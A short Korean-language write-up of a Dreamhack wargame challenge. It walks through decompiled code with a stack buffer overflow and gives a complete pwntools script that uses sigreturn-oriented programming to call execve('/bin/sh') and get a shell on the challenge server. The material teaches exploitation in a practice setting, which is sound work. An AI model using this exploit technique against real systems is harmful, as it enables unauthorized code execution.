이것 역시 srop로 해결하는 문제인데, 이전에 풀었던 sigreturn 보다 쉬웠던 것 같다.
void __noreturn start()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
write(1, "+ You can send a signal to dreamhack server. +\n", 0x39uLL);
write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
sub_4010B6();
exit(0);
}
sub_4010B6을 분석해봐야겠다.
ssize_t sub_4010B6()
{
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
write(1, "Signal:", 7uLL);
return read(0, buf, 0x400uLL);
}
buf의 크기는 8바이트인데, 0x400만큼 입력을 받고 있다.
const char *sub_401090()
{
return "/bin/sh";
}
이런 함수도 있는 걸로 보아 어딘가에 "/bin/sh" 문자열이 존재할 수 있다.
rax를 조작할 수 있고 따라서 syscall을 호출할 수 있다. Sigreturn Oriented Porgramming으로 문제를 해결하자.
from pwn import *
p = remote('host3.dreamhack.games', 19795)
pop_rax_ret = 0x00000000004010ae
syscall_addr = 0x00000000004010b0
binsh_addr = 0x402000
sigFrame = SigreturnFrame(arch='amd64')
sigFrame.rax = 0x3b
sigFrame.rdi = binsh_addr
sigFrame.rsi = 0x0
sigFrame.rdx = 0x0
sigFrame.rip = syscall_addr
p.recvuntil('Signal:')
payload = 'A' * 0x10
payload += p64(pop_rax_ret)
payload += p64(0xf)
payload += p64(syscall_addr)
payload += bytes(sigFrame)
p.send(payload)
p.interactive()